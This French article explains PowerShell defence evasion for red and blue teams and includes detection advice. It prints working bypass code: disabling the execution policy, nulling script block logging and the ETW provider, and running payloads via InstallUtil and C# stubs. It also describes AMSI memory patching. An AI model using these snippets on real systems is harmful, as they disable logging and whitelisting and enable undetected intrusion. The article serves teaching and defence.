PowerShell est un interpréteur de lignes de commandes et un langage de script reposant sur le framework Microsoft .NET intégré dans les systèmes Windows. Rapidement devenu un outil indispensable pour les administrateurs système, nous verrons dans cet article comment le large spectre de fonctionnalités offert par PowerShell permet aux attaquants de contourner les protections progressivement mises en place par Microsoft.
PowerShell est un langage de script orienté objet qui s’appuie sur les classes du framework .NET pour interagir avec un système Windows, en local ou à distance. De par la simplicité de sa syntaxe et des nombreuses fonctionnalités offertes par ce langage, celui-ci a rapidement pris la place de ses prédécesseurs WSH (Windows Script Host) et MS-DOS (BAT) au sein des entreprises.
Aujourd’hui disponible dans sa version 6, PowerShell a été introduit nativement dans sa version 2.0 avec Windows 7. Depuis cette version, un nouvel éditeur de code PowerShell nommé ISE est également intégré. Avant cela, la première version de PowerShell était disponible sous forme de mise à jour facultative sur Windows XP, Windows Vista ainsi que Windows Server 2003.
La diversité des cmdlets (applets de commandes) ainsi que la possibilité d’interagir avec l’API Windows (Win32 API), ou encore l’intégration d’une interface permettant d’interroger des classes WMI (Windows Management Instrumentation), en ont fait une technologie de choix pour la mise en place d’attaques plus ou moins furtives. En contrepartie, au fil des versions, Microsoft a intégré différentes politiques et mesures de sécurité permettant de bloquer et/ou détecter l’utilisation malveillante de PowerShell.
1. Politique d’exécution
Parmi les premières mesures de sécurité PowerShell intégrées par Microsoft se trouve la politique d’exécution de scripts. Cette dernière a été mise en place afin de définir les conditions permettant l’exécution de scripts PowerShell au sein d’un système.
Plusieurs types de politiques plus ou moins restrictives peuvent être définies avec la cmdlet Set-ExecutionPolicy : AllSigned, Bypass, Default, RemoteSigned, Restricted, Undefined et Unrestricted. Par défaut, la politique Restricted est mise en place sur les postes de travail Windows (client) et RemoteSigned sur les serveurs Windows.
- La politique Restricted implique que seules les commandes PowerShell puissent être exécutées. En théorie, il n’est donc pas possible d’exécuter les scripts, peu importe leur contenu.
- La politique RemoteSigned permet d’exécuter les scripts PowerShell. Cependant, les scripts provenant d’Internet doivent être signés par un éditeur approuvé.
Une politique d’exécution restrictive peut être facilement contournée par un attaquant ayant accès à un système Windows. Cette mesure est davantage utile dans le cas où un utilisateur lambda exécute un script malveillant par inadvertance.
1.1 Contournement d’une politique d’exécution restrictive
De nombreuses techniques existent aujourd’hui pour contourner une politique d’exécution restrictive afin de lancer un script PowerShell sur un système Windows [NETSPI].
1.1.1 Invoke-Expression
Invoke-Expression est une applet de commande PowerShell permettant d’évaluer des expressions PowerShell et d’exécuter des commandes. L’utilisation de cette cmdlet permet d’exécuter des scripts PowerShell peu importe le niveau de restriction mis en place via la politique d’exécution. Il suffit pour cela de passer à Invoke-Expression le contenu d’un script en entrée (via la cmdlet Get-Content ou Download Cradles [DLCRAD] :
PS C:\Users\dslab\Documents> .\scriptDeTest.ps1
.\scriptDeTest.ps1 : Impossible de charger le fichier C:\Users\dslab\Documents\scriptDeTest.ps1, car l’exécution de
scripts est désactivée sur ce système. Pour plus d’informations, consultez about_Execution_Policies à l’adresse
https://go.microsoft.com/fwlink/?LinkID=135170.
Au caractère Ligne:1 : 1
+ .\scriptDeTest.ps1
+ ~~~~~~~~~~~~~~~~~~
+ CategoryInfo : Erreur de sécurité : (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
PS C:\Users\dslab\Documents> Get-Content .\scriptDeTest.ps1|Invoke-Expression
Bonjour tout le monde !
PS C:\Users\dslab\Documents>
1.1.2 Utilisation de la politique Bypass
La politique d’exécution Bypass permet à un utilisateur d’exécuter n’importe quel script PowerShell.
Afin d’exécuter un script sur un système où la politique d’exécution est restrictive, il est possible de forcer le mode Bypass sur la politique sans que cela nécessite les privilèges d’administration :
- Cela peut se faire en modifiant une variable d’environnement, ce qui ne va impacter que la session PowerShell courante. Ainsi, l’exécution de script ne va pas être possible si l’utilisateur relance une autre invite de commandes PowerShell :
PS C:\Users\dslab\Documents> $env:PSExecutionPolicyPreference="bypass"
PS C:\Users\dslab\Documents> .\scriptDeTest.ps1
Bonjour tout le monde !
PS C:\Users\dslab\Documents>
- Il est possible de passer en mode Bypass en appliquant cette politique durant l’exécution de PowerShell avec le paramètre -ExecutionPolicy ou -ep :
PS C:\Users\dslab\Documents> powershell.exe -ExecutionPolicy Bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. Tous droits réservés.
PS C:\Users\dslab\Documents> .\scriptDeTest.ps1
Bonjour tout le monde !
PS C:\Users\dslab\Documents>
1.1.3 Annulation du « AuthorizationManager »
AuthorizationManager est une classe permettant de contrôler et restreindre l'exécution des commandes PowerShell dans un contexte spécifique. Cette classe fait partie de System.Management.Automation, une librairie permettant d’exécuter PowerShell.
Ainsi, en implémentant une fonction permettant de mettre à null la classe AuthorizationManager dans la session PowerShell courante, la politique d’exécution devient automatiquement non restrictive (Unrestricted) et permet ainsi d’exécuter n’importe quel script.
Pour cela, il suffit d’appeler la fonction suivante au sein d’une invite de commandes PowerShell :
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}
PS C:\Users\dslab\Documents> .\scriptDeTest.ps1
.\scriptDeTest.ps1 : Impossible de charger le fichier C:\Users\dslab\Documents\scriptDeTest.ps1, car l’exécution de
scripts est désactivée sur ce système. Pour plus d’informations, consultez about_Execution_Policies à l’adresse
https://go.microsoft.com/fwlink/?LinkID=135170.
Au caractère Ligne:1 : 1
+ .\scriptDeTest.ps1
+ ~~~~~~~~~~~~~~~~~~
+ CategoryInfo : Erreur de sécurité : (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
PS C:\Users\dslab\Documents> Disable-ExecutionPolicy
PS C:\Users\dslab\Documents> .\scriptDeTest.ps1
Bonjour tout le monde !
PS C:\Users\dslab\Documents>
2. AntiMalware Scan Interface (AMSI)
2.1 Principes de l’AMSI
AMSI est une interface permettant de fournir, à n’importe quelle application tierce installée sur un système Windows (antivirus, logiciels de sécurité, etc.), un moyen d’analyser l’exécution d’un script, même chargé en mémoire, afin de détecter s’il est malveillant ou non.
2.2 Techniques de contournement de l’AMSI avec PowerShell
2.2.1 Manipulation de chaînes de caractères
Dans un premier temps, l’analyse effectuée par l’AMSI sur un script potentiellement malveillant repose sur une base de signatures. Par conséquent, l’obfuscation des chaînes de caractères ainsi que la modification d’un script d’attaque peut être un moyen efficace et facile à mettre en place pour contourner une détection.
Certains outils tels que Invoke-Obfuscation ou encore PSAmsi peuvent s’avérer être très utiles pour contourner la détection basée sur les signatures de l’AMSI.
2.2.2 Patching de la mémoire
La librairie AMSI.dll est chargée dans la mémoire du processus powershell.exe pour analyser une session PowerShell.
Cette technique de contournement de l’AMSI repose sur ce principe de fonctionnement. En effet, la librairie AMSI.dll est chargée dans l’espace mémoire du processus PowerShell lancé par un simple utilisateur, qui dispose donc des privilèges suffisants pour en modifier le comportement.
En étudiant les fonctions de l’API appelées durant une analyse, il s’avère que la fonction AmsiScanBuffer [AMSISCAN] semble pertinente :
Fig. 1 : AmsiScanBuffer à chaque fois qu’une commande PowerShell est exécutée.
HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result );
Le paramètre length correspond au nombre d’octets qui vont être lus du tampon contenant le code à analyser. En spécifiant la valeur 0 au niveau du paramètre length, aucun octet du script ne va donc être analysé par l’AMSI.
Cette technique permet ainsi de désactiver l’AMSI. Plusieurs outils et scripts existent aujourd’hui pour automatiser cette manœuvre.
3. Détections et investigations
Face aux différentes attaques pouvant être mises en œuvre, la BlueTeam possède un certain nombre d'outils pour détecter et investiguer ces dernières.
3.1 PowerShell Transcript
Start-Transcript est une cmdlet présente depuis PowerShell v2 qui enregistre l'ensemble des commandes d'une session PowerShell dans un fichier texte. Ce fichier contient également des informations telles que le nom de l’utilisateur exécutant les commandes, un horodatage pour chaque commande entrée, le résultat des commandes, etc.
Dans le cas de la mise en place d’un système de journalisation centralisé, le fichier de journalisation peut être stocké sur un serveur distant.
Pour démarrer l'enregistrement, il suffit d’exécuter la cmdlet Start-Transcript. Le fichier dans lequel enregistrer les commandes peut également être précisé via les paramètres :
Start-Transcript -Path "C:\journalisation\transcript.txt"
À des fins de détections et d'investigations, ce mécanisme peut être implémenté au sein d'un environnement Windows Active Directory. Pour cela, une stratégie de groupe (GPO) nommée « Activer la transcription PowerShell » peut être mise en place en configurant le répertoire de sortie pour le fichier de journalisation ainsi que la présence ou non des en-têtes contenant les informations sur l’environnement d’exécution des commandes.
Fig. 2 : Fenêtre Windows de configuration de la stratégie « Activer la transcription PowerShell ».
3.2 PowerShell Script Block Logging
La journalisation des blocs de scripts PowerShell est également possible via une GPO pouvant être activée sur les environnements Active Directory. Concrètement, un script block correspond à tout type de commande PowerShell pouvant être exécuté. Ainsi, lorsque du code PowerShell est exécuté, chaque instruction présente dans celui-ci va être journalisée. L’avantage de cette stratégie pour une BlueTeam réside dans le fait que les instructions PowerShell sont journalisées au cours de leur exécution. Ainsi, les instructions obfusquées ou contenant des chaînes de caractères encodées vont être journalisées dans un format pouvant être facilement interprété par un analyste (chaînes de caractères décodées et code désobfusqué). Également, les journaux du script block logging sont intégrés au sein du gestionnaire d’événements Windows. Cela facilite donc le processus de centralisation des journaux via WinRM et également leur traitement.
3.2.1 Deep script block logging
Avec la version 5 de PowerShell, Microsoft a introduit un mécanisme permettant de journaliser automatiquement des instructions même si la stratégie de script block logging n’est pas implémentée. En effet, lorsque des instructions PowerShell considérées comme étant suspicieuses par le système sont exécutées, celles-ci sont enregistrées même si le script block logging est désactivé.
Les instructions considérées comme étant suspicieuses par le système correspondent à des commandes PowerShell exécutant du code généré dynamiquement :
$tmp = [System.Convert]::FromBase64String("ZWNobyAnQm9uam91ciB0b3V0IGxlIG1vbmRlICEn")
$cmd = [System.Text.Encoding]::UTF8.GetString($tmp)
Invoke-Expression $cmd # exécute la commande ‘echo Bonjour tout le monde !’
3.3 Techniques de contournement
Il existe aujourd’hui différentes techniques permettant d’éviter les détections et les remontées d’alertes lorsque PowerShell est utilisé au cours des audits Red Team.
3.3.1 Unmanaged PowerShell
Il arrive parfois que les membres d’une Blue Team surveillent l’exécution des processus conventionnels pour exécuter du PowerShell, soit : powershell.exe et powershell_ise.exe. En effet, généralement des règles de détection ainsi que des restrictions sont mises en place en se basant sur l’exécution de ces processus spécifiques.
Concrètement, afin d’exécuter des commandes PowerShell, le processus powershell.exe charge la librairie .NET System.Management.Automation [LIBPSHELL] et fait appel à ses fonctions permettant d’évaluer des expressions PowerShell. Ainsi, en reprenant ce principe, il est possible d’exécuter du PowerShell depuis n’importe quel autre processus tant que celui-ci charge la même librairie (System.Management.Automation). Par exemple, une DLL contenant du code PowerShell et faisant appel aux fonctions de la librairie System.Management.Automation pour exécuter ce même code pourrait être injectée dans la mémoire d’un processus légitime.
Par conséquent, en audit Red Team, les règles de détection basées sur la surveillance des processus powershell.exe et powershell_ise.exe ne devraient pas détecter une activité suspecte étant donné que le code PowerShell exécuté via cette technique peut être lancé depuis n’importe quel autre programme. Cela permet ainsi d’être plus furtif et de gagner du temps sur une phase de post-exploitation. Plusieurs projets existent aujourd’hui pour facilement mettre en place ce type de technique [UNPSHELL].
3.3.2 Contournement du script block logging
Comme vu précédemment, le script block logging correspond à une GPO permettant de journaliser chaque instruction PowerShell exécutée. Ainsi, lorsqu’une session PowerShell est initialisée, PowerShell vérifie si cette GPO est implémentée et insère dans un cache une valeur permettant d’identifier la mise en place ou non de la stratégie. Concrètement, à chaque fois qu’une instruction PowerShell va être exécutée, PowerShell va vérifier dans son cache si le script block logging est mis en place ou non.
La technique de contournement repose sur ce principe. En effet, la valeur mise en cache par PowerShell permettant d’identifier l’implémentation de la GPO est accessible en écriture par un simple utilisateur ayant ouvert une session PowerShell. Ainsi, il est possible avec un morceau de code de réécrire les valeurs mises en cache dans le but de forcer la désactivation du script block logging pour la session courante :
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null)
If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
$val.Add('EnableScriptB'+'lockLogging', 0)
$val.Add('EnableScriptB'+'lockInvocationLogging', 0)
$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val
}
Par ailleurs, il existe également une autre technique pour contourner le script block logging. Celle-ci consiste à assigner une valeur nulle à une instance de la classe EventProvider chargée de journaliser les évènements PowerShell :
$EtwProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static');
$EventProvider = New-Object System.Diagnostics.Eventing.EventProvider -ArgumentList @([Guid]::NewGuid());
$EtwProvider.SetValue($null, $EventProvider);
Cependant, il est à noter que les instructions PowerShell permettant de contourner le script block logging vont tout de même être journalisées et cela va donc générer une alerte (évènement de type avertissement). Il est ainsi important soit d’obfusquer le code permettant de contourner cette stratégie au préalable, ou bien d’utiliser la technique du Unmanaged PowerShell vue précédemment pour être davantage furtif. Dans ce cas, le Script block logging sera également activé, cependant, les règles mises en place par les équipes Blue Team sont généralement configurées pour remonter des alertes basées uniquement sur les blocs de scripts exécutés depuis le processus powershell.exe, powershell_ISE.exe, etc.
3.3.3 Utilisation d’une version inférieure de PowerShell
Durant un exercice de type Red Team, il est judicieux de vérifier quelles versions de PowerShell sont présentes sur le système. En effet, la version 2 n’est pas compatible avec les mesures de sécurité et de journalisation mises en place dans les versions plus évoluées de PowerShell.
La commande suivante permet de vérifier si la version 2 de PowerShell est disponible sur un système :
reg query HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine
Pour lancer PowerShell v2, il suffit juste d’exécuter la commande suivante, cela fonctionne également depuis une session PowerShell ayant une version plus évoluée :
powershell -version 2
Cependant, sur Windows 10, il est généralement nécessaire d’installer au préalable la version 2.0.50727 du framework .NET, ce qui n’est malheureusement pas envisageable sur un environnement de production au cours d’un audit Red Team.
4. Environnements durcis
Les solutions de contrôle d’applications à l’échelle du système sont de plus en plus présentes en entreprise. En environnement Windows, on retrouvera généralement les solutions DeviceGuard ou AppLocker, qui permettront, via la définition de règles de stratégies, d’autoriser ou non l’exécution d’une application sur le système.
4.1 Listes blanches et mode de langage contraint
Si l’une de ces solutions est active, il se pourrait que l’exécution des applications powershell.exe et powershell_ise.exe soit interdite, ou que PowerShell soit exécuté en mode de langage contraint (CLM pour Constrained Language Mode).
Ce mode permet de prendre en charge les tâches administratives quotidiennes, tout en limitant l'accès aux éléments de langage sensibles, qui pourraient être utilisés à des fins malveillantes (comme un appel à l’API Windows ou le chargement d’un script en mémoire par exemple).
PS C:\> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PS C:\> [System.Console]::WriteLine("Bonjour tout le monde !")
Cannot invoke method. Method invocation is supported only on core types in this language mode.
At line:1 char:1
+ [System.Console]::WriteLine("Bonjour tout le monde !")
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : MethodInvocationNotSupportedInConstrainedLanguage
Il est également intéressant de préciser que dans ces conditions, tout script faisant partie de la liste blanche des fichiers autorisés par la solution de contrôle d’applications, pourra être exécuté en mode de langage complet.
4.2 Techniques de contournement
Bien que les listes blanches d’applications et le mode de langage contraint renforcent la robustesse d’un système, ces solutions ne sont pas infaillibles et des méthodes de contournement existent.
4.2.1 Mode de verrouillage AppLocker
À chaque démarrage de PowerShell, un script et un module sont créés dans le répertoire temporaire de l’utilisateur puis exécutés. Leur nom est généré aléatoirement et leur contenu ne comporte qu’un unique commentaire. Si l’exécution s’est déroulée avec succès, la session PowerShell sera en mode de langage complet, dans le cas contraire, cela signifie que le mode de verrouillage AppLocker est actif et la session sera donc en mode de langage contraint.
Cela devient intéressant, car PowerShell obtient le répertoire temporaire de l’utilisateur dans lequel créer les fichiers à partir des variables d’environnement. D’autre part, les règles par défaut d’AppLocker autorisent l’exécution de scripts depuis C:\Windows\*.
Ainsi, en remplaçant le répertoire temporaire de l’utilisateur par C:\Windows\tempdans la variable d’environnement et en exécutant PowerShell, les scripts vérifiant la politique AppLocker seront exécutés avec succès. La session sera alors en mode de langage complet.
Cette technique, découverte par Oddvar Moe, a aussitôt été portée dans son module PowerShell aidant à identifier les faiblesses AppLocker [POWERAL].
4.2.2 Binaires Microsoft signés
Dans le cas où l’exécution de powershell.exe est interdite, il faut garder à l’esprit qu’il est possible d’exécuter des commandes PowerShell par le biais de code C# :
using System;
using System.Management.Automation;
namespace Powershell
{
class Program
{
static void Main(string[] args)
{
PowerShell ps = PowerShell.Create();
ps.AddCommand("Invoke-Expression");
ps.AddArgument("payload");
ps.Invoke();
}
}
}
Petite astuce, l’utilisation de la classe Pipeline [PIP] permet de contourner le mode de langage contraint.
Côté exécution du code C#, ce n’est pas non plus cause perdue, l’utilisation de binaires Microsoft signés permettra de passer outre la liste blanche d’applications.
Une première possibilité repose sur le Microsoft Build Engine (MSBuild), une plateforme de génération d'applications utilisée par Visual Studio pour charger et générer des projets managés (.csproj). Il est possible d’insérer du code C# dans la structure XML de ces fichiers ([UNIC] et [MSBU]).
Une seconde possibilité repose sur l’utilitaire InstallUtil, qui peut charger et exécuter du code C# dans son propre processus par le biais de ses fonctions d’installation ou de désinstallation :
using System;
using System.Management.Automation;
namespace Whitelist
{
class Program
{
static void Main(string[] args)
{
}
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
PowerShell ps = PowerShell.Create();
ps.AddCommand("Invoke-Expression");
ps.AddArgument("payload");
ps.Invoke();
}
}
La fonction d’installation nécessite les droits d’administration, contrairement à la fonction de désinstallation qui peut être appelée par un utilisateur non privilégié.
Reste alors à compiler le code malveillant puis l’exécuter :
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:InstallUtil.exe InstallUtil.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /U InstallUtil.exe
Il ne s’agit bien évidemment que d’un échantillon de possibilités parmi tant d’autres.
4.2.3 Rétrogradation de version PowerShell
Une fois encore, si la version 2 de PowerShell est accessible sur le système, le simple fait de la charger enlèvera cette protection. En effet, cette version ne supporte pas le mode de langage contraint.
Conclusion
Avec suffisamment de moyens, une Blue Team a désormais toutes les cartes en main pour rapidement détecter les tentatives d’intrusions et déplacements latéraux au sein de son SI.
Un parc moderne et à jour, un bouquet de GPO judicieusement sélectionnées, un espace de stockage suffisant pour recueillir l’ensemble des journaux collectés et surtout une solide équipe capable de créer les règles de corrélation et les mécanismes d’alertes adéquats feront frémir les plus aguerris des pentesters.
Quoiqu’il en soit, les attaquants les plus avertis rivalisent d’ingéniosité et trouveront toujours un moyen pour contourner les nouvelles protections, le tout étant de les ralentir au maximum et de complexifier leur tâche.
Remerciements
Elias ISSA et Thomas GAYET pour leur aide ainsi que leur relecture.
Références
[NETSPI] Scott Sutherland, « 15 ways to Bypass the PowerShell Execution Policy » : https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
[DLCRAD] Harmj0y : https://gist.github.com/HarmJ0y/bb48307ffa663256e239
[AMSISCAN] Microsoft AmsiScanBuffer :https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiscanbuffer
[LIBPSHELL] Classe PowerShell :https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.powershell?view=pscore-6.2.0
[UNPSHELL] Lee Christensen, Unmanaged PowerShell : https://github.com/leechristensen/UnmanagedPowerShell
[POWERAL] Oddvar Moe, PowerAL : https://github.com/api0cradle/PowerAL
[PIP] Classe Pipeline : https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.runspaces.pipeline?view=powershellsdk-1.1.0
[UNIC] Mr-Un1k0d3r, PowerLessShell : https://github.com/Mr-Un1k0d3r/PowerLessShell
[MSBU] Cn33liz, MSBuildShell : https://github.com/Cn33liz/MSBuildShell/